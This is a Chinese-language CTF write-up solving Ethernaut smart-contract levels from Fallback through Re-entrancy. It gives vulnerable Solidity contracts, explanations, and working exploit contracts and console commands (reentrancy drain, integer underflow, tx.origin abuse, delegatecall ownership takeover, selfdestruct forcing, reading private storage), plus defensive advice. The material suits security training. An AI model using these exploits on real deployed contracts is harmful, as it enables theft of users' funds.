Fallback
首先看通关方式
仔细看下面的合约代码.
通过这关你需要
获得这个合约的所有权
把他的余额减到0
这可能有帮助
如何通过与ABI互动发送ether
如何在ABI之外发送ether
转换 wei/ether 单位 (参见 help()
命令)
Fallback 方法
再看代码
pragma solidity ^ 0.6.0 ;
import '@openzeppelin/contracts/math/SafeMath.sol' ;
contract Fallback {
using SafeMath for uint256 ;
mapping ( address => uint ) public contributions;
address payable public owner;
constructor ( ) public {
owner = msg. sender;
contributions[ msg. sender] = 1000 * ( 1 ether) ;
}
modifier onlyOwner {
require (
msg. sender == owner,
"caller is not the owner"
) ;
_ ;
}
function contribute ( ) public payable {
require ( msg. value < 0.001 ether) ;
contributions[ msg. sender] += msg. value;
if ( contributions[ msg. sender] > contributions[ owner] ) {
owner = msg. sender;
}
}
function getContribution ( ) public view returns ( uint ) {
return contributions[ msg. sender] ;
}
function withdraw ( ) public onlyOwner {
owner. transfer ( address ( this ) . balance) ;
}
receive ( ) external payable {
require ( msg. value > 0 && contributions[ msg. sender] > 0 ) ;
owner = msg. sender;
}
}
逐步分析,在合约的构造函数中将合约的部署者设置成了函数的owner并且设定了其贡献值为1000eth,如果走contribute函数来获取owner权限的话需要超过1000eth的贡献,而每次的贡献又需要小于0.001eth,这显然是不现实的,所以我们看向receive函数,在这里只要我们向receive函数携带eth,并且我们有贡献值就能拿到owner权限,最后再使用withdraw将合约剩余代币转出即可
contract.contribute({value:1})
contract.sendTransaction({value:1})
contract.withdraw()
FallOut
pragma solidity ^ 0.6.0 ;
import '@openzeppelin/contracts/math/SafeMath.sol' ;
contract Fallout {
using SafeMath for uint256 ;
mapping ( address => uint ) allocations;
address payable public owner;
function Fal1out ( ) public payable {
owner = msg. sender;
allocations[ owner] = msg. value;
}
modifier onlyOwner {
require (
msg. sender == owner,
"caller is not the owner"
) ;
_ ;
}
function allocate ( ) public payable {
allocations[ msg. sender] = allocations[ msg. sender] . add ( msg. value) ;
}
function sendAllocation ( address payable allocator) public {
require ( allocations[ allocator] > 0 ) ;
allocator. transfer ( allocations[ allocator] ) ;
}
function collectAllocations ( ) public onlyOwner {
msg. sender. transfer ( address ( this ) . balance) ;
}
function allocatorBalance ( address allocator) public view returns ( uint ) {
return allocations[ allocator] ;
}
}
这很白痴是吧? 真实世界的合约必须安全的多, 难以入侵的多, 对吧?
实际上… 也未必.
Rubixi的故事在以太坊生态中非常知名. 这个公司把名字从 ‘Dynamic Pyramid’ 改成 ‘Rubixi’ 但是不知道怎么地, 他们没有把合约的 constructor 方法也一起更名:
contract Rubixi {
address private owner;
function DynamicPyramid() { owner = msg.sender; }
function collectAllFees() { owner.transfer(this.balance) }
...
这让攻击者可以调用旧合约的constructor 然后获得合约的控制权, 然后再获得一些资产. 是的. 这些重大错误在智能合约的世界是有可能的.
就这没错
Coin Flip
这是一个掷硬币的游戏,你需要连续的猜对结果。完成这一关,你需要通过你的超能力来连续猜对十次。
这可能能帮助到你
pragma solidity ^ 0.6.0 ;
import '@openzeppelin/contracts/math/SafeMath.sol' ;
contract CoinFlip {
using SafeMath for uint256 ;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968 ;
constructor ( ) public {
consecutiveWins = 0 ;
}
function flip ( bool _guess) public returns ( bool ) {
uint256 blockValue = uint256 ( blockhash ( block. number. sub ( 1 ) ) ) ;
if ( lastHash == blockValue) {
revert ( ) ;
}
lastHash = blockValue;
uint256 coinFlip = blockValue. div ( FACTOR) ;
bool side = coinFlip == 1 ? true : false ;
if ( side == _guess) {
consecutiveWins++ ;
return true ;
} else {
consecutiveWins = 0 ;
return false ;
}
}
}
看代码定义的三个数字consecutiveWins,lastHash,FACTOR,分别是我们获胜的次数,最后一次区块的哈希,还有2的255次方
再看后面整个对硬币反转做判断的函数内容,首先是让blockValue值为前一个区块,并且进行判断如果此次猜测和上次猜测的区块相同就回滚整个过程,如果不是就继续下面内容
首先将此次的区块内容存储,并且让coinFilp的值为blockValue/FACTOR,此处由于自动取整,并且FACTOR值为2^255,所以结果非1即0,可以看到整个过程随机结果的产生完全依靠于上一个区块,所以我们只需要先本地执行一遍算法计算出coinFlip的值就能保证我们每次都“猜”到结果,区块大约为10秒一个,所以直接使用手撸复制猜测是不现实,我们可以再写一个合约部署到相同的区块链上来攻击该链
pragma solidity ^ 0.4.18 ;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968 ;
function CoinFlip ( ) public {
consecutiveWins = 0 ;
}
function flip ( bool _guess) public returns ( bool ) {
uint256 blockValue = uint256 ( block. blockhash ( block. number- 1 ) ) ;
if ( lastHash == blockValue) {
revert ( ) ;
}
lastHash = blockValue;
uint256 coinFlip = blockValue/ FACTOR;
bool side = coinFlip == 1 ? true : false ;
if ( side == _guess) {
consecutiveWins++ ;
return true ;
} else {
consecutiveWins = 0 ;
return false ;
}
}
}
contract exploit {
CoinFlip expFlip;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968 ;
function exploit ( address aimAddr) {
expFlip = CoinFlip ( aimAddr) ;
}
function hack ( ) public {
uint256 blockValue = uint256 ( block. blockhash ( block. number- 1 ) ) ;
uint256 coinFlip = uint256 ( uint256 ( blockValue) / FACTOR) ;
bool guess = coinFlip == 1 ? true : false ;
expFlip. flip ( guess) ;
}
}
在Remix IDE中通过Metamask部署到题目的区块链上,进行10次hack攻击即可
通过solidity产生随机数没有那么容易. 目前没有一个很自然的方法来做到这一点, 而且你在智能合约中做的所有事情都是公开可见的, 包括本地变量和被标记为私有的状态变量. 矿工可以控制 blockhashes, 时间戳, 或是是否包括某个交易, 这可以让他们根据他们目的来左右这些事情.
想要获得密码学上的随机数,你可以使用 Chainlink VRF , 它使用预言机, LINK token, 和一个链上合约来检验这是不是真的是一个随机数.
一些其它的选项包括使用比特币block headers (通过验证 BTC Relay ), RANDAO , 或是 Oraclize ).
Telephone
pragma solidity ^ 0.6.0 ;
contract Telephone {
address public owner;
constructor ( ) public {
owner = msg. sender;
}
function changeOwner ( address _owner) public {
if ( tx. origin != msg. sender) {
owner = _owner;
}
}
}
直接看tx.origin
和msg.sender
的区别
msg.sender: 指直接调用智能合约功能的帐户或智能合约的地址tx.origin: 指调用智能合约功能的账户地址,只有账户地址可以是tx.origin
我们开一个新合约直接传入我们自己的address通过新合约调用Telephone合约即可
pragma solidity ^ 0.4.16 ;
contract Telephone {
address public owner;
constructor ( ) public {
owner = msg. sender;
}
function changeOwner ( address _owner) public {
if ( tx. origin != msg. sender) {
owner = _owner;
}
}
}
contract hh {
address ow= 0xeeD53DF0B7E5CF4272a2E92c4E39B1405910d8C7 ;
Telephone exp;
constructor ( address name) {
exp= Telephone ( name) ;
}
function hack ( ) {
exp. changeOwner ( ow) ;
}
}
这个例子比较简单, 混淆 tx.origin
和 msg.sender
会导致 phishing-style 攻击, 比如this .
下面描述了一个可能的攻击.
使用 tx.origin
来决定转移谁的token, 比如.
function transfer(address _to, uint _value) {
tokens[tx.origin] -= _value;
tokens[_to] += _value;
}
攻击者通过调用合约的 transfer 函数是受害者向恶意合约转移资产, 比如
function () payable {
token.transfer(attackerAddress, 10000);
}
在这个情况下, tx.origin
是受害者的地址 ( msg.sender
是恶意协议的地址), 这会导致受害者的资产被转移到攻击者的手上.
Token
这一关的目标是攻破下面这个基础 token 合约
你最开始有20个 token, 如果你通过某种方法可以增加你手中的 token 数量,你就可以通过这一关,当然越多越好
这可能有帮助:
pragma solidity ^ 0.6.0 ;
contract Token {
mapping ( address => uint ) balances;
uint public totalSupply;
constructor ( uint _initialSupply) public {
balances[ msg. sender] = totalSupply = _initialSupply;
}
function transfer ( address _to, uint _value) public returns ( bool ) {
require ( balances[ msg. sender] - _value >= 0 ) ;
balances[ msg. sender] -= _value;
balances[ _to] += _value;
return true ;
}
function balanceOf ( address _owner) public view returns ( uint balance) {
return balances[ _owner] ;
}
}
看代码,balances映射的相当是我们的token个数,初始为20个,再看transfer函数,要求我们的token数减去交易数要大于等于0,但是问题是token数和交易数都是uint类型,恒大于等于0(因为运算结果也是uint类型),所以require根本不需要绕过,如果我们将_value
值设定为21,就会出现溢出,导致我们的balance极大,也就完成了任务
contract.transfer(instance,21)
Overflow 在 solidity 中非常常见, 你必须小心检查, 比如下面这样:
if(a + c > a) {
a = a + c;
}
另一个简单的方法是使用 OpenZeppelin 的 SafeMath 库, 它会自动检查所有数学运算的溢出, 可以像这样使用:
a = a.add(c);
如果有溢出, 代码会自动恢复.
Delegation
这一关的目标是申明你对你创建实例的所有权.
这可能有帮助
仔细看solidity文档关于 delegatecall
的低级函数, 他怎么运行的, 他如何将操作委托给链上库, 以及他对执行的影响.
Fallback 方法
方法 ID
pragma solidity ^ 0.6.0 ;
contract Delegate {
address public owner;
constructor ( address _owner) public {
owner = _owner;
}
function pwn ( ) public {
owner = msg. sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor ( address _delegateAddress) public {
delegate = Delegate ( _delegateAddress) ;
owner = msg. sender;
}
fallback ( ) external {
( bool result, ) = address ( delegate) . delegatecall ( msg. data) ;
if ( result) {
this ;
}
}
}
很明显需要通过调用pwn函数来将owner变成我们自己,但是部署的合约是Delegation
,我们该如何调用另一个合约中的函数呢,很简单,使用solidity中自带的call方法即可
在solidity中有三种call方法可用:
call
<address>.call(bytes memory) returns (bool, bytes memory)
使用给定的payload发出一个低级(low-level)的CALL
命令,返回执行是否成功和数据,转发所有可用gas,可调整。
delegatecall
<address>.delegatecall(bytes memory) returns (bool, bytes memory)
使用给定payload发出一个低级的DELEGATECALL
指令,返回执行是否成功和数据,转发所有可用gas,可调整。
staticcall
<address>.staticcall(bytes memory) returns (bool, bytes memory)
使用给定payload发出一个低级的STATICCALL
指令,返回执行是否成功和数据,转发所有可用gas,可调整。
这官方文档纯纯废话,说了跟没说一样
乍一看似乎内容都差不多,那我们自己调用这些命令来测试一下吧
pragma solidity ^ 0.4.23 ;
contract Calltest {
address public b;
function test ( ) public {
b= address ( this ) ;
}
}
contract Compare {
address public b;
address public testaddress;
event logb ( address _a) ;
constructor ( address _addressOfCalltest) public {
testaddress = _addressOfCalltest;
}
function withcall ( ) public {
testaddress. call ( bytes4 ( keccak256 ( "test()" ) ) ) ;
emit logb ( b) ;
}
function withdelegatecall ( ) public {
testaddress. delegatecall ( bytes4 ( keccak256 ( "test()" ) ) ) ;
emit logb ( b) ;
}
}
图中可以看到,在使用call方法调用函数时,可以发现CALLTEST
合约的b已经变成了这个合约的部署地址 0xDA0bab807633f07f013f94DD0E6A4F96F8742B53
,而Compare合约的地址并没有变化。说明call
只是在Calltest
合约中执行了test函数
而在使用delegatecall方法调用函数时,COMPARE
合约的b变成了合约部署地址,说明这个函数实际上是在Compare
合约中执行的,也就相当于是把函数复制了一份到合约中执行
那么在这个合约中我们只需要通过fallback执行delegatecall来进入Delegate合约中的pwn方法来执行替换owner
而fallback函数的执行只需要sendTransaction方法,带上data即可执行pwn函数,方法的ID是4字节的sha3
contract.sendTransaction({data:web3.utils.sha3("pwn()").slice(0,10)})
使用delegatecall
是很危险的, 而且历史上已经多次被用于进行 attack vector. 使用它, 你对合约相当于在说 “看这里, -其他合约- 或是 -其它库-, 来对我的状态为所欲为吧”. 代理对你合约的状态有完全的控制权. delegatecall
函数是一个很有用的功能, 但是也很危险, 所以使用的时候需要非常小心.
请参见 The Parity Wallet Hack Explained 这篇文章, 他详细解释了这个方法是如何窃取三千万美元的.
Force
有些合约就是拒绝你的付款,就是这么任性 ¯\_(ツ)_/¯
这一关的目标是使合约的余额大于0
这可能有帮助:
Fallback 方法
有时候攻击一个合约最好的方法是使用另一个合约.
阅读上方的帮助页面, “控制台之外” 部分
pragma solidity ^ 0.6.0 ;
contract Force { }
想让合约余额大于0首先想到的就是直接转账了contract.sendTransaction(instance,1)
,但是由于fallback重写导致我们的交易被回退,如图所示
此时我们就需要用到另一个合约了,在selfdestruct
函数中会将整个合约销毁并将合约余额强制给予指定地址并且忽略fallback函数,所以这里我们只需要在制作一个新合约,存入代币,销毁发送到题目合约即可
pragma solidity ^ 0.4.16 ;
contract Test {
address aim;
constructor ( address t) {
aim= t;
}
function a ( ) payable {
}
function sd ( ) {
selfdestruct ( aim) ;
}
}
在solidity中, 如果一个合约要接受 ether, fallback 方法必须设置为 payable
.
但是, 并没有发什么办法可以阻止攻击者通过自毁的方法向合约发送 ether, 所以, 不要将任何合约逻辑基于 address(this).balance == 0
之上.
Vault
打开 vault 来通过这一关!
pragma solidity ^ 0.6.0 ;
contract Vault {
bool public locked;
bytes32 private password;
constructor ( bytes32 _password) public {
locked = true ;
password = _password;
}
function unlock ( bytes32 _password) public {
if ( password == _password) {
locked = false ;
}
}
}
明显要拿password,但是private怎么拿呢?
这涉及到一点:以太坊部署和合约上所有的数据都是可读的,包括这里合约内定义为private类型的password变量,我们可以使用web3.eth.getStorageAt
来读取合约行对应地址的数据
web3.eth.getStorageAt(address, position [, defaultBlock] [, callback])
第一个参数时对应要读取的合约地址,第二个参数是要读取内容的索引位置(变量是第几个被定义的变量),第三个参数如果被设置,那么就不会使用默认的block(被web3.eth.defaultBlock 设置的默认块),而是使用用户自定义的块,这个参数可选项有"earliest"
, "latest"
和 "pending"
,第四个选项设置回调函数。
所以我们直接读就好啦,password第二个被定义,我们直接读1
await web3.eth.getStorageAt(contract.address,1)
然后用password解锁就好啦~
请记住, 将一个变量设制成私有, 只能保证不让别的合约访问他. 设制成私有的状态变量和本地变量, 依旧可以被公开访问.
为了确保数据私有, 需要在上链前加密. 在这种情况下, 密钥绝对不要公开, 否则会被任何想知道的人获得. zk-SNARKs 提供了一个可以判断某个人是否有某个秘密参数的方法,但是不必透露这个参数.
King
下面的合约表示了一个很简单的游戏: 任何一个发送了高于目前价格的人将成为新的国王. 在这个情况下, 上一个国王将会获得新的出价, 这样可以赚得一些以太币. 看起来像是庞氏骗局.
这么有趣的游戏, 你的目标是攻破他.
当你提交实例给关卡时, 关卡会重新申明王位. 你需要阻止他重获王位来通过这一关.
pragma solidity ^ 0.6.0 ;
contract King {
address payable king;
uint public prize;
address payable public owner;
constructor ( ) public payable {
owner = msg. sender;
king = msg. sender;
prize = msg. value;
}
receive ( ) external payable {
require ( msg. value >= prize || msg. sender == owner) ;
king. transfer ( msg. value) ;
king = msg. sender;
prize = msg. value;
}
function _king ( ) public view returns ( address payable ) {
return king;
}
}
直接看receive,我们需要出价比原来的king高才能拿到控制权,并且题目中说了在提交实例是关卡会重新尝试夺回王权,也就是再给我们一个更大数额的eth,我们怎么才能防止他通过更高出价来夺走王位呢?
我们只需要在另起一个合约,在合约中设置receive内容为revert函数,这样在我们的合约收到代币的时候就会触发回滚导致king重夺王位失败
pragma solidity ^ 0.6.0 ;
contract AttackKing {
constructor ( address payable _victim) public payable {
_victim. call. gas ( 1000000 ) . value ( 0.01 ether) ( "" ) ;
}
receive ( ) external payable {
revert ( ) ;
}
}
大多数 Ethernaut 的关卡尝试展示真实发生的 bug 和 hack (以简化过的方式).
关于这次的情况, 参见: King of the Ether 和 King of the Ether Postmortem
Re-entrancy
经典的重入漏洞终于来喽
这一关的目标是偷走合约的所有资产.
这些可能有帮助:
不可信的合约可以在你意料之外的地方执行代码.
Fallback methods
抛出/恢复 bubbling
有的时候攻击一个合约的最好方式是使用另一个合约.
查看上方帮助页面, “控制台之外” 部分
pragma solidity ^ 0.6.0 ;
import '@openzeppelin/contracts/math/SafeMath.sol' ;
contract Reentrance {
using SafeMath for uint256 ;
mapping ( address => uint ) public balances;
function donate ( address _to) public payable {
balances[ _to] = balances[ _to] . add ( msg. value) ;
}
function balanceOf ( address _who) public view returns ( uint balance) {
return balances[ _who] ;
}
function withdraw ( uint _amount) public {
if ( balances[ msg. sender] >= _amount) {
( bool result, ) = msg. sender. call{ value: _amount} ( "" ) ;
if ( result) {
_amount;
}
balances[ msg. sender] -= _amount;
}
}
receive ( ) external payable { }
}
注意这里使用了call{value:xx}
的形式,call
是send
和transfer
函数底层实现,也是用来转账的。与它们的区别在于,参考链接
transfer:要求接收的智能合约中必须有一个fallback
或者receive
函数,否则会抛出一个错误(error),并且revert(也就是回滚到交易前的状态)。而且有单笔交易中的操作总gas不能超过2300的限制。transfer函数会在以下两种情况抛出错误:
付款方合约的余额不足,小于所要发送的value
接收方合约拒绝接收支付
send:和transfer函数的工作方式基本一样,唯一的区别在于,当出现上述两种交易失败的情况时,send的返回结果是一个boolean值,而不会执行revert回滚。
call: call函数和上面最大的区别在于,它没有gas的限制,使用call时EVM将所有gas转移到接收合约上,形式如下:
审计合约代码,这个合约的作用类似于银行,donate存withdraw取,那么这个代码问题究竟出在哪里呢,我们直接看存款函数,首先判断我们的账户是否有足够余额,然后给我们的账户转帐,最后扣除余额,看起来都没什么问题,但是如果银行的存款账户并不是一个钱包而是一个合约呢?
这时会直接进入到这个合约的fallback或者receive函数中,这时我们可以编写一个特殊的合约,让接收函数的fallback函数重复调用目标合约的withdraw
函数,这样合约就会不断给我们所编写的合约转账直至余额为0。具体代码如下
pragma solidity ^ 0.6.0 ;
contract attack {
address payable target;
address payable public owner;
uint amount = 100000000000000 wei;
constructor ( address payable _addr) public payable {
target= _addr;
owner = msg. sender;
}
function step1 ( ) public payable {
bool b;
( b, ) = target. call{ value: amount} ( abi. encodeWithSignature ( "donate(address)" , address ( this ) ) ) ;
require ( b, "step1 error" ) ;
}
function setp2 ( ) public payable {
bool b;
( b, ) = target. call ( abi. encodeWithSignature ( "withdraw(uint256)" , amount) ) ;
require ( b, "step2 error" ) ;
}
fallback ( ) external payable {
bool b;
( b, ) = target. call ( abi. encodeWithSignature ( "withdraw(uint256)" , amount) ) ;
require ( b, "fallback error" ) ;
}
function mywithdraw ( ) external payable {
require ( msg. sender== owner, 'not you' ) ;
msg. sender. transfer ( address ( this ) . balance) ;
}
}
1000000000000000